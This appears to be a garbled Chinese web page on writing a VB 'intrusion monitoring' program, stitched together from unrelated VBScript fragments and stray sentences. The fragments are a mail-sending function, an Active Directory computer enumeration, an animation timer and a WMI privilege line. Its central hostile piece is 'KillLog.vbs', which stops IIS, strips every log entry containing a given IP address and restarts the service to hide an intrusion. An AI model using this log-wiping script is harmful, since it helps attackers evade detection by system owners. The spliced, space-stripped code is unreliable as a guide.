用VB编写入侵监听程序(下)

程序的代码以及说明如下：

‘本程序在VB6.0＋Windows2000下测试通过如果我们确实再也找不到具有指定标题的更新，则最终会退出该循环，然后执行最后一行代码，仅报告没有安装该更新

functionSend_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment) 'codebyNetPatch 'VBS发送邮件参数说明 'You_Account：你的邮件帐号 'You_Password:你的邮件密码 'Send_Email:主要邮件地址 'Send_Email2:备用邮件地址 'Send_Topic:邮件主题 'Send_Body:邮件内容 'Send_Attachment:邮件附件 You_ID=Split(You_Account,"@",-1,vbTextCompare) '帐号和服务器分离 MS_Space="" '这个是必须要的，不过可以放心的事，不会通过微软发送邮件 SetEmail=CreateObject("CDO.Message") Email.From=You_Account '这个一定要和发送邮件的帐号一样 Email.To=Send_Email'主要邮件地址 IfSend_Email2<>""Then Email.CC=Send_Email2'备用邮件地址 EndIf Email.Subject=Send_Topic'邮件主题 Email.Textbody=Send_Body'邮件内容 IfSend_Attachment<>""Then Email.AddAttachmentSend_Attachment'邮件附件 EndIf WithEmail.Configuration.Fields .Item(MS_Space&"sendusing")=2'发信端口 .Item(MS_Space&"smtpserver")="smtp."&You_ID(1)'SMTP服务器地址 .Item(MS_Space&"smtpserverport")=25'SMTP服务器端口 .Item(MS_Space&"smtpauthenticate")=1'cdobasec .Item(MS_Space&"sendusername")=You_ID(0)'你的邮件帐号 .Item(MS_Space&"sendpassword")=You_Password'你的邮件密码 .Update EndWith Email.Send '发送邮件 SetEmail=Nothing '关闭组件 Send_Mail=True '如果没有任何错误信息，则表示发送成功,否则发送失败 IfErrThen Err.Clear Send_Mail=False EndIf EndFunction '以下是利用上面的函数发送带附件的邮件例子 IfSend_Mail("test@163.com","test","test2@163.com","","邮件主题","邮件内容","d:\test.exe")=TrueThen Wscript.Echo"发送成功" Else Wscript.Echo"发送失败" EndIf 时钟控件用以与远程节点进行自动连接

D:\廖嘉航\第三批\脚本之家\脚本之家\文章2\bookfind 通过ISBN序号获取图书连接的书名与作者的vbs代码.htm　　　　2、如果数据量太大，记录集的释放会有问题

Const ADS_SCOPE_SUBTREE=2 Set objRootDSE=GetObject("") strDomain=ObjRootDSE.Get("defaultNamingContext") Set objConnection=CreateObject("ADODB.Connection") Set objCommand=CreateObject("ADODB.Command") objConnection.Provider="ADsDSOObject" objConnection.Open "Active Directory Provider" Set objCommand.ActiveConnection=objConnection objCommand.Properties("Page Size")=1000 objCommand.Properties("Searchscope")=ADS_SCOPE_SUBTREE objCommand.CommandText="SELECT * FROM '" & strDomain & "' WHERE objectCategory='computer'" Set objRecordSet=objCommand.Execute objRecordSet.MoveFirst Do Until objRecordSet.EOF Wscript.Echo objRecordSet.Fields("ADsPath").Value objRecordSet.MoveNext Loop Wscript.Echo "" Wscript.Echo "Total Computer: "&objRecordSet.RecordCount 在Timer事件函数中加入以下代码：　　TIMER1_TIMER()　　I=I 1　　IFI=60THEN　　I=0　　PICTURE1(0).VISIBLE=TRUE　　PICTURE1(59).VISIBLE=FALSE　　ELSE　　PICTURE1(I).VISIBLE=TRUE　　PICTURE1(I-1).VISIBLE=FALSE　　ENDIF　　ENDSUB　　以上程序为每1/18秒变换一幅图象，构成循环播放，注意三维动画要设计成首尾相接的，这样一个循环和另一个循环之间才能衔接好

OptionExplicit Dimsourcefile,ipaddress,objargs constdestfile="tempfile" ConstForWriting=2 DimText Dimfso,objNet,ServiceObj DimtxtStream,txtStreamOut SetobjArgs=WScript.Arguments IfobjArgs.Count=2Then sourcefile=objArgs(0) ipaddress=objargs(1) Else wscript.echo"ParameterError"+vbcrlf wscript.Echo"USAGE:KillLog.vbsLogFileNameYourIP." wscript.Quit1 EndIf Setfso=CreateObject("Scripting.FileSystemObject") iffso.FileExists(sourcefile)then SetobjNet=WScript.CreateObject("WScript.Network") SetServiceObj=GetObject(""&objNet.ComputerName&"/w3svc") SetobjNet=nothing ServiceObj.stop wscript.sleep6000 SettxtStream=fso.OpenTextFile(sourcefile) SettxtStreamOut=fso.OpenTextFile(destfile,ForWriting,True) DoWhileNot(txtStream.atEndOfStream) Text=txtStream.ReadLine ifinstr(Text,ipaddress)=0then txtStreamOut.WriteLineText endif Loop SettxtStream=Nothing SettxtStreamOut=Nothing WScript.Echo"Thelogfile--"&sourcefile&"hascleanedyourIP!" Else WScript.Echo"TheLogfile--"&sourcefile&"hasnotfound!" Wscript.quit EndIf fso.Copyfiledestfile,sourcefile fso.deletefiledestfile Setfso=Nothing ServiceObj.start SetServiceObj=Nothing wd使用方法添加tabledef对象到tabledefs集合中

Set ObjWMI=GetObject("winmgmts:" & "{impersonationLevel=impersonate, (Security)}!\\.\root\cimv2")

。